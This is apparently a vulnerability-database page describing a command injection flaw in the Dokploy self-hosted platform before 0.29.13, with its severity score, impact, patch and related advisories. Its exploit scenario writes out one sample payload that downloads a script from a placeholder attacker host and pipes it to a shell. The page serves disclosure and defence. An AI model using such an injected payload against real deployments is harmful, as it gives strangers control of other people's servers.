EUVD-2026-55733Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Network-reachable web action needing only low-privileged deployment permission (PR:L, AV:N, AC:L); injected commands escape the app to run on the host OS, giving a scope change (S:C) with full C/I/A impact.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionCVE.org
Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, application.saveBitbucketProvider stores bitbucketOwner and bitbucketRepository without validation and cloneBitbucketRepository in packages/server/src/utils/providers/bitbucket.ts interpolates those values into git clone commands executed through execAsync or execAsyncRemote, allowing a member with service deployment permission to execute arbitrary operating system commands on the Dokploy host or target server. This issue is fixed in version 0.29.13.
AnalysisAI
OS command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets a low-privileged team member with service-deployment permission run arbitrary commands on the Dokploy host or a connected target server. The saveBitbucketProvider endpoint persists attacker-controlled bitbucketOwner and bitbucketRepository values without validation, and cloneBitbucketRepository later interpolates them straight into git clone commands run via execAsync/execAsyncRemote. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires (1) an authenticated Dokploy account that holds service-deployment permission, (2) the ability to create or edit a Bitbucket Git provider via application.saveBitbucketProvider so that malicious shell metacharacters are stored in bitbucketOwner or bitbucketRepository, and (3) a deployment/clone action that invokes cloneBitbucketRepository, which passes the unescaped values to execAsync (local host) or execAsyncRemote (target server). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This is a genuine high-priority issue rather than a CVSS-inflated one: the provided vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9) is internally consistent with the description - a network-reachable web action, low attack complexity, only low privileges required (any member holding service-deployment permission), no user interaction, and a scope change because injected commands escape the application boundary to execute on the underlying host OS. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated Dokploy user with service-deployment permission configures a Bitbucket source and sets the repository owner or repository name to a value containing a shell command substitution such as `$(curl http://attacker/x|sh)`. When a deployment triggers cloneBitbucketRepository, the stored value is interpolated into the git clone command and executed by the shell on the Dokploy host (or, via execAsyncRemote, on a connected target server), giving the attacker arbitrary command execution. … |
| Remediation | Vendor-released patch: upgrade to Dokploy 0.29.13 or later (release https://github.com/Dokploy/dokploy/releases/tag/v0.29.13), which introduces a shellWord() shell-escaping helper applied to the Bitbucket, Git, and Gitea clone routines; see advisory GHSA-grrj-6xrh-j6vp and PR #4855. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, identify all Dokploy instances in your infrastructure and confirm which versions are deployed; immediately restrict service-deployment permissions to trusted personnel only and enable comprehensive logging of deployment activities. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate
Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary
Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs
Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Command injection in Dokploy self-hosted PaaS versions prior to 0.29.13 lets an authenticated user with database-service
Command injection in Dokploy self-hosted PaaS before 0.29.13 lets a low-privileged organization member run arbitrary OS
OS command injection in Dokploy (self-hosted PaaS) version 0.28.8 and earlier lets an authenticated user with permission
OS command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated user with the backup:restore per
OS command injection in Dokploy self-hosted PaaS prior to 0.29.13 lets an authenticated project member with compose writ
Server-side command injection and path traversal in Dokploy, a self-hostable Platform-as-a-Service, allows an authentica
Same weakness CWE-78 – OS Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today